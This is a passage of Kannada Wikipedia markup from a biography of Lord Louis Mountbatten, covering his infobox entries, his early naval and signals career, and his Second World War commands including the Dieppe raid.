(೧೯೪೧-೧೯೪೩)<br>[[Supreme Allied Commander]], [[South East Asia Command]] (೧೯೪೩-೧೯೪೬)<br>Commander, cruiser squadron, [[Mediterranean Fleet]] (೧೯೪೮-೧೯೫೦)<br>[[Fourth Sea Lord]] (೧೯೫೦-೧೯೫೨)<br>Commander-in-Chief, Mediterranean Fleet (೧೯೫೨-೧೯೫೪)<br>[[First Sea Lord]] (೧೯೫೫-೧೯೫೯)<br>[[Chief of the Defence Staff (United Kingdom)|Chief of the Defence Staff]] (೧೯೫೯-೧೯೬೫) |unit= |battles=[[World War I]]<br>[[World War II]] |awards=[[Knight of the Garter]]<br>[[Knight Grand Cross of the Order of the Bath]]<br>[[Order of Merit]]<br>[[Knight Grand Commander of the Order of the Star of India]]<br>[[Knight Grand Commander of the Order of the Indian Empire]]<br>[[Knight Grand Cross of the Royal Victorian Order]]<br>[[Distinguished Service Order]] |laterwork=[[Viceroy of India]] (೧೯೪೭)<br>[[Governor-General of India]] (೧೯೪೭-೧೯೪೮) }} ===ಆರಂಭಿಕ ವೃತ್ತಿಜೀವನ=== ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ [[ಮೊದಲನೇ ಮಹಾಯುದ್ಧ|ವಿಶ್ವ ಸಮರ I]]ರ ಅವಧಿಯಲ್ಲಿ ಬ್ರಿಟನ್ನಿನ ನೌಕಾಪಡೆಯಲ್ಲಿ ಮಿಡ್‌ಷಿಪ್‌ಮ್ಯಾನ್‌ ಅಧಿಕಾರಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದರು. ತನ್ನ ಸೇವಾವಧಿಯ ನಂತರ ಕೇಂಬ್ರಿಡ್ಜ್‌‌ನಲ್ಲಿನ ಕ್ರೈಸ್ಟ್‌'ಸ್‌ ಕಾಲೇಜ್‌ ಮಹಾವಿದ್ಯಾಲಯದಲ್ಲಿ ಎರಡು ಅವಧಿಗಳ ಕಾಲ ಮಾಜಿ ಸೈನಿಕಗಿಗೆಂದೇ ವಿನ್ಯಾಸ ಮಾಡಲಾಗಿದ್ದ ಶಿಕ್ಷಣ ಯೋಜನೆಯಲ್ಲಿ ತಾಂತ್ರಿಕ ಶಿಕ್ಷಣವನ್ನು ಪಡೆದರು. ತಾನು ಕೇಂಬ್ರಿಡ್ಜ್‌‌ನಲ್ಲಿದ್ದ ಸಮಯದಲ್ಲಿ, ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನು ಕ್ರೈಸ್ಟ್‌'ಸ್‌ ಕಾಲೇಜ್‌ ಮಹಾವಿದ್ಯಾಲಯದ ಸದಸ್ಯನಾಗಿ ಸಮೃದ್ಧವಾದ ಸಾಮಾಜಿಕ ಜೀವನದ ಸವಿಯ ಮಧ್ಯೆಯೇ ತನ್ನ ಅಧ್ಯಯನವನ್ನು ಕೂಡಾ ಸರಿದೂಗಿಸಬೇಕಾಗುತ್ತಿತ್ತು. ೧೯೨೨ರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ವೇಲ್ಸ್‌‌ನ ರಾಜಕುಮಾರ/ಪ್ರಭು ಎಡ್ವರ್ಡ್‌ನೊಡನೆ ಭಾರತಕ್ಕೆ ರಾಜಮನೆತನದ ಭೇಟಿಯ ಭಾಗವಾಗಿ ಬಂದಿದ್ದನು. ಈ ಪ್ರವಾಸದ ಸಮಯದಲ್ಲಿಯೇ ಆತನು ತನ್ನ ಪತ್ನಿಯಾಗಲಿದ್ದ ಎಡ್ವಿನಾ ಆಷ್ಲೇಳನ್ನು ಭೇಟಿ ಮಾಡಿದ್ದನು ಹಾಗೂ ನಂತರ ಅವಳ ಮುಂದೆ ವಿವಾಹದ ಪ್ರಸ್ತಾಪವನ್ನಿಟ್ಟಿದ್ದನು. ಅವರು ೧೮ ಜುಲೈ ೧೯೨೨ರಂದು ವಿವಾಹವಾದರು. ಈ ಪ್ರವಾಸದ ಸಮಯದಲ್ಲಿ ಎಡ್ವರ್ಡ್‌ ಮತ್ತು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಉತ್ತಮ ಸ್ನೇಹವನ್ನು ಬೆಳೆಸಿಕೊಂಡರಾದರೂ ಈ ಬಾಂಧವ್ಯವು ಸಿಂಹಾಸನಚ್ಯುತಿ/ಪದಚ್ಯುತಿಯ ಬಿಕ್ಕಟ್ಟಿನ ಸಮಯದಲ್ಲಿ ಕಡಿಮೆಯಾಗುತ್ತಾ ಹೋಯಿತು. ಒಂದೆಡೆಯಲ್ಲಿ ವ್ಯಾಪಕವಾಗಿ ಇಡೀ ರಾಜಮನೆತನ ಹಾಗೂ ಪ್ರಭುತ್ವ ಹಾಗೂ ಮತ್ತೊಂದೆಡೆ ಆಗಿನ ಮಹಾರಾಜ ಎರಡರ ವಿಚಾರದಲ್ಲಿಯೂ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ನಿಷ್ಠೆಯು ಪರೀಕ್ಷೆಗೊಳಪಟ್ಟಿತ್ತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ತನ್ನ ಸಹೋದರನ ಸ್ಥಾನದಲ್ಲಿ ಜಾರ್ಜ್‌‌ VI ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಸಿಂಹಾಸನವನ್ನೇರಬೇಕಿದ್ದ ಯಾರ್ಕ್‌‌ನ ಡ್ಯೂಕ್‌ ರಾಜಕುಮಾರ/ಪ್ರಭು ಆಲ್ಬರ್ಟ್‌‌ನ ಕಡೆಗೆ ದೃಢವಾದ ನಿಷ್ಠೆಯನ್ನು ಪ್ರದರ್ಶಿಸಿದನು. ತಂತ್ರಜ್ಞಾನದ ಅಭಿವೃದ್ಧಿ ಹಾಗೂ ಯಂತ್ರವಿಶೇಷಗಳಲ್ಲಿನ ತನ್ನ ಆಸಕ್ತಿಯನ್ನು ಅರಸಿಕೊಂಡು ೧೯೨೪ರಲ್ಲಿ ಪೋರ್ಟ್ಸ್‌ಮೌತ್‌ ಸಿಗ್ನಲ್‌ ಶಾಲೆಗೆ ಸೇರಿಕೊಂಡು ಅಧ್ಯಯನ ನಡೆಸಿ ನಂತರ ಸೇನೆಯ ಸೇವೆಗೆ ಮರಳುವ ಮುನ್ನ ಗ್ರೀನ್‌ವಿಚ್‌ನಲ್ಲಿ ಸಂಕ್ಷಿಪ್ತವಾಗಿ ವಿದ್ಯುನ್ಮಾನ ತಂತ್ರಜ್ಞಾನದ ಅಧ್ಯಯನವನ್ನು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಕೈಗೊಂಡನು. ವಿದ್ಯುನ್ಮಾನ ಅಥವಾ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನಗಳ ಉತ್ತೇಜನೆ ಹಾಗೂ ಅವುಗಳ ಅನ್ವಯಿಕೆಗಳ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಾಡಿದ ಅಭೂತಪೂರ್ವಕೊಡುಗೆ ಅಥವಾ ನಿರ್ದಿಷ್ಟ ಅವಧಿಯಲ್ಲಿ ನೀಡಲಾದ ಕೊಡುಗೆಗಳಿಗೆ ವಾರ್ಷಿಕವಾಗಿ ನೀಡಲಾಗುವ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಪದಕವನ್ನು ನೀಡುವ ಸಂಸ್ಥೆ ಈಗಿನ ಇನ್‌ಸ್ಟಿಟ್ಯೂಷನ್‌ ಆಫ್‌ ಎಂಜಿನಿಯರಿಂಗ್‌ ಅಂಡ್‌ ಟೆಕ್ನಾಲಜಿಯು (IET) ಮೊದಲು ಇನ್‌ಸ್ಟಿಟ್ಯೂಷನ್‌ ಆಫ್‌ ಎಲೆಕ್ಟ್ರಿಕಲ್‌ ಎಂಜಿನಿಯರ್ಸ್‌ (IEE) ಎಂದು ಕರೆಸಿಕೊಳ್ಳುತ್ತಿದ್ದಾಗ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಅದರ ಸದಸ್ಯರಾಗಿದ್ದರು.<ref>{{Cite web| url = http://www.theiet.org/about/libarc/archives/institution-history/mountbatten-medal.cfm| title = Mountbatten Medal| accessdate = 2009-12-24| publisher = IET| archive-date = 24 ಆಗಸ್ಟ್ 2010| archive-url = https://web.archive.org/web/20100824223245/http://www.theiet.org/about/libarc/archives/institution-history/mountbatten-medal.cfm| url-status = dead}}</ref> ೧೯೨೬ರಲ್ಲಿ, ಪ್ರಧಾನ ನೌಕಾಧಿಪತಿ ಸರ್‌ ರೋಜರ್‌ ಕೀಯೆಸ್‌ರ ಅಧಿಪತ್ಯದಡಿಯಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಮೆಡಿಟರೇನಿಯನ್‌ ನೌಕಾಪಡೆಯಲ್ಲಿ ನೌಕಾದಳದ ಸಹಾಯಕ ನಿಸ್ತಂತು ಹಾಗೂ ಸಂಕೇತತಜ್ಞ ಅಧಿಕಾರಿಯಾಗಿ ನೇಮಿಸಲಾಗಿತ್ತು. ೧೯೨೯ರಲ್ಲಿ ಸಿಗ್ನಲ್‌ ಶಾಲೆಗೆ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಹಿರಿಯ ನಿಸ್ತಂತು ಬೋಧಕರಾಗಿ ಮರಳಿದರು. ೧೯೩೧ರಲ್ಲಿ ಮೆಡಿಟರೇನಿಯನ್‌ ನೌಕಾಪಡೆಯಲ್ಲಿ ನೌಕಾದಳೀಯ ನಿಸ್ತಂತು ಅಧಿಕಾರಿಯಾಗಿ ನೇಮಕವಾದಾಗ ಮತ್ತೊಮ್ಮೆ ಅವರನ್ನು ಸೇನಾಪಡೆಯ ಸೇವೆಗೆ ಕರೆಸಿಕೊಳ್ಳಲಾಯಿತು. ಈ ಸಮಯದಲ್ಲಿಯೇ ಅವರು ಮಾಲ್ಟಾದಲ್ಲಿ ಒಂದು ಸಂಕೇತ ತರಬೇತಿ ಶಾಲೆಯನ್ನು ಸ್ಥಾಪಿಸಿದ್ದುದು ಹಾಗೂ ನೌಕಾದಳದ ಎಲ್ಲಾ ರೇಡಿಯೋ ಆಪರೇಟರ್‌ಗಳೊಂದಿಗೆ ಪರಿಚಯವನ್ನು ಮಾಡಿಕೊಂಡುದುದಾಗಿತ್ತು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಅವರ ಮೊತ್ತ ಮೊದಲ ಸೇನಾಧಿಪತ್ಯ ಸ್ಥಾನಕ್ಕೆ ೧೯೩೪ರಲ್ಲಿ ನೇಮಿಸಲಾಯಿತು. ಅವರ ನೌಕೆಯು ಒಂದು ವಿಧ್ವಂಸಕ ನೌಕೆಯಾಗಿದ್ದು ಅದರಲ್ಲಿ ಅವರು ಸಿಂಗಪೂರ್‌‌ಗೆ ತೆರಳಿ ಹಳೆಯ ಹಡಗೊಂದರ ಜೊತೆ ವಿನಿಮಯ ಮಾಡಿಕೊಂಡು ಬರಬೇಕಿತ್ತು. ಅವರು ಮಾಲ್ಟಾದಲ್ಲಿನ ಬಂದರಿಗೆ ಯಶಸ್ವಿಯಾಗಿಯೇ ಹಳೆಯ ಹಡಗನ್ನು ಮರಳಿ ತಂದರು. ೧೯೩೬ರ ವೇಳೆಗೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ವೈಟ್‌ಹಾಲ್‌ನಲ್ಲಿನ ನೌಕಾಧಿಪತ್ಯದ ಕಚೇರಿಗೆ ನೇಮಕಗೊಂಡಿದ್ದರು ಹಾಗೂ ನೌಕಾಪಡೆಯ ವಾಯುಯಾನ ಶಾಖೆಯ ಸದಸ್ಯರೂ ಆಗಿದ್ದರು.<ref name="ReferenceA">ಝೂಕರ್‌ಮ್ಯಾನ್,''ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಆಫ್‌ ಬರ್ಮಾ, K.G., O.M. ೨೫ ಜೂನ್‌‌ ೧೯೦೦-೨೭ ಆಗಸ್ಟ್‌‌ ೧೯೭೯''</ref> ====ಹಕ್ಕುಸ್ವಾಮ್ಯಪತ್ರ==== ೧೯೩೦ರ ದಶಕದ ಅಂತ್ಯದ ವೇಳೆಗೆ ಮತ್ತೊಂದು ಹಡಗಿಗೆ ಸಾಪೇಕ್ಷವಾಗಿ ಸ್ಥಿರ ನೆಲೆಯಲ್ಲಿ ಯುದ್ಧನೌಕೆಯನ್ನು ನಿಲ್ಲಿಸಿಕೊಳ್ಳುವ ತಂತ್ರಜ್ಞಾನದ ವ್ಯವಸ್ಥೆಗೆ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರಿಗೆ ತಮ್ಮ ೨ನೆಯ ಹಕ್ಕುಸ್ವಾಮ್ಯವನ್ನು (UK ಸಂಖ್ಯೆ ೫೦೮,೯೫೬) ನೀಡಲಾಗಿತ್ತು.<ref>{{Cite web| url = http://www.wikipatents.com/gb/508956.html| title = Abstract of GB508956 508,956. Speed governors| accessdate = 2009-12-24| publisher = Wiki Patents| archive-date = 5 ಜನವರಿ 2013| archive-url = https://archive.is/20130105155508/http://www.wikipatents.com/gb/508956.html| url-status = dead}}</ref> ===ದ್ವಿತೀಯ ಜಾಗತಿಕ ಸಮರ=== ೧೯೩೯ರಲ್ಲಿ ವಿಶ್ವ ಸಮರ ಘೋಷಣೆಯಾದಾಗ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಅನೇಕ ಕೆಚ್ಚೆದೆಯ ಹೋರಾಟಗಳಿಂದಾಗಿ ಹೆಸರು ಮಾಡಿದ್ದ ತನ್ನ ಹಡಗು HMS ಕೆಲ್ಲಿಯಿಂದಲೇ ಕಾರ್ಯಾಚರಣೆಗಿಳಿಯುವಂತೆ ೫ನೆಯ ವಿಧ್ವಂಸಕ ಲಘು ನೌಕಾ ವ್ಯೂಹದ ದಳಪತಿಯಾಗಿ ನೇಮಕಗೊಳಿಸಿ ಮತ್ತೆ ಸಕ್ರಿಯ ಸೇನಾಪಡೆಯ ಸೇವೆಗೆ ಕರೆಸಲಾಯಿತು.<ref name="ReferenceA" /> ೧೯೪೦ರ ಮೇ ತಿಂಗಳ ಆರಂಭದಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ಬ್ರಿಟಿಷ್‌‌ ಬೆಂಗಾವಲು ನೌಕಾಪಡೆಯನ್ನು ನಾಮ್‌ಸೋಸ್‌ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದ ಮಿತ್ರಪಡೆಗಳನ್ನು ತೆರವುಗೊಳಿಸಲು ಹಿಮಾವೃತವಾಗಿದ್ದ ಪ್ರದೇಶದ ಮೂಲಕ ಮುನ್ನಡೆಸಿದ್ದರು. ೧೯೪೦ರ ಇಸವಿಯಲ್ಲಿಯೇ ನೌಕಾದಳೀಯ ಛದ್ಮವೇಷಕ್ಕೆ ಬಳಸುವ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಗುಲಾಬಿ ವರ್ಣವನ್ನು ಅವರು ಕಂಡುಹಿಡಿದದ್ದು. ಕ್ರೀಟೆ ಕಾಳಗದ ಅವಧಿಯಲ್ಲಿ ೧೯೪೧ರ ಮೇ ತಿಂಗಳಲ್ಲಿ ಆತನ ಹಡಗು ಮುಳುಗಿಹೋಗಿತ್ತು. ಆಗಸ್ಟ್‌‌ ೧೯೪೧ರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಜನವರಿಯಲ್ಲಿ ಮೆಡಿಟರೇನಿಯನ್‌ ಸಮುದ್ರ ಪ್ರದೇಶದ ಮಾಲ್ಟಾದಲ್ಲಿ ನಡೆಸಿದ ಕಾರ್ಯಾಚರಣೆಯ ನಂತರ ಕೈಗೊಳ್ಳಬೇಕಾಗಿ ಬಂದ ದುರಸ್ತಿ ಕಾರ್ಯಗಳಿಗಾಗಿ ವರ್ಜೀನಿಯಾದ ನಾರ್‌ಫೋಕ್‌‌ನಲ್ಲಿದ್ದ HMS ''ಇಲ್ಲಸ್ಟ್ರಿಯಸ್‌ ನೌಕೆ'' ಯ ಕಪ್ತಾನ/ನಾಯಕನನ್ನಾಗಿ ನೇಮಿಸಲಾಯಿತು. ಸಾಪೇಕ್ಷವಾಗಿ ಸೈನಿಕ ಕಾರ್ಯಾಚರಣೆಗಳಿರದಿದ್ದ ಈ ಅವಧಿಯಲ್ಲಿ ಅವರು ಪರ್ಲ್‌ ಹಾರ್ಬರ್‌ ಬಂದರಿಗೆ ಅಲ್ಪಾವಧಿಯ ಭೇಟಿ ನೀಡಿದಾಗ ಅಲ್ಲಿನ ಕಳಪೆ ಸಿದ್ಧತೆಯ ಸ್ಥಿತಿ ಹಾಗೂ ಜಂಟಿ HQಯ ಕೊರತೆಯೊಂದಿಗೆ US ನೌಕಾಪಡೆ ಮತ್ತು US ಸೇನಾಪಡೆಗಳ ನಡುವಿನ ಸಾಧಾರಣ ಸಹಕಾರಕ್ಕೂ ಕೊರತೆಯಿರುವುದನ್ನು ಮನಗಂಡು ಅಷ್ಟೇನೂ ಪ್ರಭಾವಿತರಾಗಲಿಲ್ಲ. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ವಿನ್‌‌ಸ್ಟನ್‌‌ ಚರ್ಚಿಲ್‌‌ರಿಗೆ ಅಚ್ಚುಮೆಚ್ಚಿನವರಾಗಿದ್ದು (೧೯೪೮ರ ನಂತರ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರು ನಂತರ [[ಭಾರತ]] ಮತ್ತು [[ಪಾಕಿಸ್ತಾನ|ಪಾಕಿಸ್ತಾನಗಳ]] ಸ್ವಾತಂತ್ರ್ಯ ಗಳಿಕೆಯಲ್ಲಿ ವಹಿಸಿದ್ದ ಪಾತ್ರಕ್ಕಾಗಿ ಜನಪ್ರಿಯತೆ ಪಡೆದುದರಿಂದ ಮುಜುಗರಗೊಂಡಿದ್ದ ಕಾರಣ ಚರ್ಚಿಲ್‌‌ ಮತ್ತೆಂದೂ ಅವರೊಂದಿಗೆ ಮಾತಾಡಲಿಲ್ಲ), ೨೭ ಅಕ್ಟೋಬರ್‌‌ ೧೯೪೧ರಂದು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಸಂಯುಕ್ತ ಕಾರ್ಯಾಚರಣೆಗಳ ಮುಖ್ಯಸ್ಥರಾಗಿ ರೋಜರ್‌ ಕೀಯೆಸ್‌ರಿಂದ ಅಧಿಕಾರ ವಹಿಸಿಕೊಂಡರು. ಇಂಗ್ಲಿಷ್‌ ಕಾಲುವೆಯ ಆದ್ಯಂತ ಕ್ಷಿಪ್ರದಾಳಿ ತಂಡಗಳ ದಾಳಿಗಳನ್ನು ಯೋಜಿಸುವುದು ಹಾಗೂ ಪ್ರತಿರೋಧ ಕಂಡುಬರುವ ತೀರಗಳಲ್ಲಿ ಇಳಿಯಲು ಅನುಕೂಲವಾಗುವಂತೆ ತಾಂತ್ರಿಕ ಸಾಧನೋಪಾಯಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವುದು ಈ ಹುದ್ದೆಯ ಕರ್ತವ್ಯವಾಗಿತ್ತು.<ref name="ReferenceA" /> ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌ರು‌ ೧೯೪೨ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ನಡೆದ St. ನಝೈರೆ ಎಂಬಲ್ಲಿನ ದ ರೈಡ್‌ ದಾಳಿಯ ಯೋಜನೆ ಹಾಗೂ ಏರ್ಪಾಟಿಗೆ ಬಹುಪಾಲು ಜವಾಬ್ದಾರರಾಗಿದ್ದರು : ಈ ಕಾರ್ಯಾಚರಣೆಯು ಬಹುಮಟ್ಟಿಗೆ ಯುದ್ಧವು ಕೊನೆಗೊಳ್ಳುವವರೆಗೆ ನಾಝಿ ಆಕ್ರಮಿತ ಫ್ರಾನ್ಸ್‌‌ನಲ್ಲಿನ ಬಹುವಾಗಿ ರಕ್ಷಿಸಲ್ಪಟ್ಟ ಹಡಗುಕಟ್ಟೆಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದ ಹಡಗುಕಟ್ಟೆಯನ್ನು ಬಳಕೆಗೆ ಅನರ್ಹವಾಗುವಂತೆ ಮಾಡಿತ್ತು, ಇದರಿಂದುಂಟಾದ ಹಾನಿಯು ವಿಸ್ತರಿಸುತ್ತಾ ಹೋಗಿ ಅಟ್ಲಾಂಟಿಕ್‌ ಕಾಳಗದಲ್ಲಿ ಮಿತ್ರ ಪಡೆಗಳು ವಿಜಯಶಾಲಿಯಾಗುವುದಕ್ಕೆ ಪ್ರಧಾನ ಕೊಡುಗೆ ನೀಡಿತ್ತು. ೧೯ ಆಗಸ್ಟ್‌‌ ೧೯೪೨ರಂದು ನಡೆಸಲಾದ ಅನರ್ಥಕಾರಿ ಡಿಯೆಪ್ಪೆ ದಾಳಿಯನ್ನು ಅವರು ವೈಯಕ್ತಿಕವಾಗಿಯೇ ಸಂಘಟಿಸಿದ್ದರು (ಈ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಮಿತ್ರಪಡೆಗಳ ಸೇನೆಯ ಕೆಲ ವ್ಯಕ್ತಿಗಳು, ಗಮನಾರ್ಹವಾಗಿ ಫೀಲ್ಡ್‌ ಮಾರ್ಷಲ್‌‌ ಮಾಂಟ್‌ಗೋಮೆರಿಯವರು ನಂತರ ವ್ಯಕ್ತಪಡಿಸಿದ ಅಭಿಪ್ರಾಯದ ಪ್ರಕಾರ ಈ ದಾಳಿಯು ಮೊದಲಿನಿಂದಲೇ ದುರುದ್ದೇಶದಿಂದ ಕೂಡಿತ್ತು. ಆದಾಗ್ಯೂ U.S.Aನಲ್ಲಿ ೧೯೪೨ರ ಆದಿಯಲ್ಲಿ ನಡೆದ ಸಭೆಯೊಂದರಲ್ಲಿ ದಾರಿಗಳು ಮುಚ್ಚಿಹೋಗುವ ಸಂಭವವಿರುವುದರಿಂದ ಆಕ್ರಮಿಸುವ ಮುನ್ನ ಡಿಯೆಪ್ಪೆ‌ ಬಂದರಿನ ಮೇಲೆ ತೀವ್ರತರವಾದ ಬಾಂಬ್‌ ದಾಳಿಗಳನ್ನು ಮಾಡುವುದು ಬೇಡವೆಂದು ನಿರ್ಧರಿಸಲಾಗಿತ್ತು ಈ ಸಭೆಯ ಅಧ್ಯಕ್ಷ ಸ್ಥಾನದಲ್ಲಿದ್ದ ಮಾಂಟ್‌ಗೋಮೆರಿ ಈ ಬಗ್ಗೆ ಯಾವುದೇ ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿರಲಿಲ್ಲ).{{Citation needed|date=April 2011}} ಡಿಯೆಪ್ಪೆ‌ ಬಂದರಿನ ಮೇಲಿನ ಆಕ್ರಮಣವು ದುರಂತದ ಕಾರ್ಯಾಚರಣೆಯಾಗಿತ್ತೆಂಬ ಅಭಿಪ್ರಾಯವು ವ್ಯಾಪಕವಾಗಿದ್ದು ಈ ದುರ್ಘಟನೆಯಿಂದ ಪೀಡಿತರಾದವರ ಸಂಖ್ಯೆಯು (ಗಾಯಗೊಂಡವರು ಹಾಗೂ/ಅಥವಾ ಸೆರೆಯಾಳುಗಳಾದವರುಗಳನ್ನು ಸೇರಿಸಿದಂತೆ) ಸಾವಿರಗಳಲ್ಲಿದ್ದು, ಅವರಲ್ಲಿ ಬಹುಪಾಲು ಜನರು ಕೆನಡಾದವರಾಗಿದ್ದರು. ಇತಿಹಾಸಕಾರ ಬ್ರಿಯಾನ್‌ ಲೋರಿಂಗ್‌ ವಿಲ್ಲಾ ಎಂಬಾತನು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಈ ಆಕ್ರಮಣವನ್ನು ತನ್ನ ಅಧಿಕಾರವ್ಯಾಪ್ತಿಯನ್ನು ಮೀರಿಯೇ ಸಂಘಟಿಸಿದ್ದುದಾದರೂ, ಆತ ಹಾಗೆ ಮಾಡಲುದ್ದೇಶಿಸಿದ್ದುದು ಆತನ ವರಿಷ್ಠರಲ್ಲಿ ಹಲವರಿಗೆ ತಿಳಿದಿತ್ತಾದರೂ ಅವರು ಆತನನ್ನು ತಡೆಯಲು ಯಾವ ಪ್ರಯತ್ನವನ್ನೂ ಮಾಡಿರಲಿಲ್ಲ ಎಂಬ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದ್ದನು.<ref>{{Cite book| last= Villa| first = Brian Loring| title = Unauthorized Action: Mountbatten and the Dieppe Raid| location = Toronto| publisher = Oxford University Press| year = 1989 | isbn= 0195408047}}</ref> ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಹಾಗೂ ಆತನ ಸಿಬ್ಬಂದಿಯ ಮೂರು ಗಮನಾರ್ಹ ತಾಂತ್ರಿಕ ಸಾಧನೆಗಳಲ್ಲಿ ಈ ಕೆಳಕಂಡವು ಸೇರಿವೆ : (೧) ಇಂಗ್ಲಿಷ್‌ ಕಾಲುವೆಯಿಂದ ನಾರ್ಮಂಡಿಯವರೆಗೆ ನೀರೊಳಗಿನ ತೈಲ ಕೊಳಾಯಿ ಮಾರ್ಗದ ನಿರ್ಮಾಣ, (೨) ಗಾರೆಯ ದೋಣಿ ಬಾಗಿಲುಗಳು ಹಾಗೂ ಮುಳುಗಿದ್ದ ಹಡಗುಗಳನ್ನು ಬಳಸಿ ಕೃತಕ ಬಂದರಿನ ನಿರ್ಮಾಣ ಮತ್ತು (೩) ಭೂಜಲಗಳೆರಡರಲ್ಲಿಯೂ ಕಾರ್ಯಾಚರಿಸಬಲ್ಲ ಫಿರಂಗಿ-ಅವರೋಹ ನಾವೆಗಳ ಅಭಿವೃದ್ಧಿ.<ref name="ReferenceA" /> ಚರ್ಚಿಲ್‌‌ರ ಮುಂದಿಡಲಾಗಿದ್ದ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಮತ್ತೊಂದು ಯೋಜನೆಯೆಂದರೆ ಹಬಾಕ್ಕುಕ್‌‌ ಯೋಜನೆಯಾಗಿತ್ತು. ಇದೊಂದು ಬಲವರ್ಧಿತ ಮಂಜುಗೆಡ್ಡೆ ಅಥವಾ "ಪೈಕ್ರೆಟೆ "ಯಿಂದ ನಿರ್ಮಿತವಾದ ಅಭೇದ್ಯವಾದ ೬೦೦ ಮೀಟರ್‌ಗಳಷ್ಟು ಉದ್ದದ ವಿಮಾನ ವಾಹಕ ಭಾರೀ ಗಾತ್ರದ ಹಡಗಾಗಿತ್ತು. ತನ್ನ ನಿರ್ಮಾಣಕ್ಕೆ ತಗಲುವ ಭಾರೀ ವೆಚ್ಚದಿಂದಾಗಿ ಹಬಾಕ್ಕುಕ್‌‌ಅನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿರಲಿಲ್ಲ.<ref name="ReferenceA" /> [[File:SE 000014 Mountbatten as SACSEA during Arakan tour.jpg|left|thumb|ಫೆಬ್ರವರಿ 1944ರಲ್ಲಿ ಅರಾಕಾನ್‌ ಕದನರಂಗದ ಪ್ರವಾಸದಲ್ಲಿದ್ದಾಗಿನ ಪ್ರಧಾನ ಅಲ್ಲೈಡ್‌ ಕಮ್ಯಾಂಡರ್‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌.]] ಸ್ಥೂಲವಾಗಿ ಎರಡು ವರ್ಷಗಳ ನಂತರ D-ದಿನದಂದು ಕೈಗೊಳ್ಳಲಾದ ನಾರ್ಮಂಡಿ ಆಕ್ರಮಣವನ್ನು ಯೋಜಿಸಲು ಡಿಯೆಪ್ಪೆ‌ ಆಕ್ರಮಣದಿಂದ ಕಲಿತ ಪಾಠಗಳು ಅನಿವಾರ್ಯವಾಗಿದ್ದವು ಎಂದು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ ಹೇಳಿಕೊಂಡಿದ್ದರು. ಆದಾಗ್ಯೂ ಬ್ರಿಟನ್ನಿನ ಮಾಜಿ ನೌಕಾಯೋಧ ಜ್ಯೂಲಿಯನ್‌‌‌ ಥಾಂಪ್ಸನ್‌‌ನಂತಹಾ ಸೈನಿಕ ಇತಿಹಾಸಕಾರರುಗಳು ಅಂತಹಾ ಪಾಠಗಳನ್ನು ಕಲಿಯಲು ಡಿಯೆಪ್ಪೆ‌ಯಂತಹಾ ಅನಾಹುತಗಳಿಂದ ಪಡೆಯುವ ಮನ್ನಣೆಯ ಅಗತ್ಯವಿರಲಿಲ್ಲ ಎಂದು ಅಭಿಪ್ರಾಯ ಪಟ್ಟಿದ್ದರು.<ref name="Thompson">{{Cite book|last=Thompson|first=Julian|authorlink=Julian Thompson|title=The Royal Marines: from Sea Soldiers to a Special Force|chapter=14. The Mediterranean and Atlantic, 1941–1942|pages=263–9|location=London|publisher=[[Pan Books]]|origyear=2000|year=2001|edition=Paperback|isbn=0-330-37702-7}}</ref> ಅದೇನೇ ಇರಲಿ ಡಿಯೆಪ್ಪೆ‌ ಆಕ್ರಮಣದ ವಿಫಲತೆಗಳ ನೇರ ಪರಿಣಾಮವಾಗಿ, ಬ್ರಿಟಿಷರು ಹಲವು ನವೀನ ತಂತ್ರಜ್ಞಾನಗಳನ್ನು ಕೈವಶ ಮಾಡಿಕೊಂಡರು - ಅವುಗಳಲ್ಲಿ ಬಹು ಗಮನಾರ್ಹವಾದುದೆಂದರೆ ಹೋಬರ್ಟ್‌ಸ್‌ 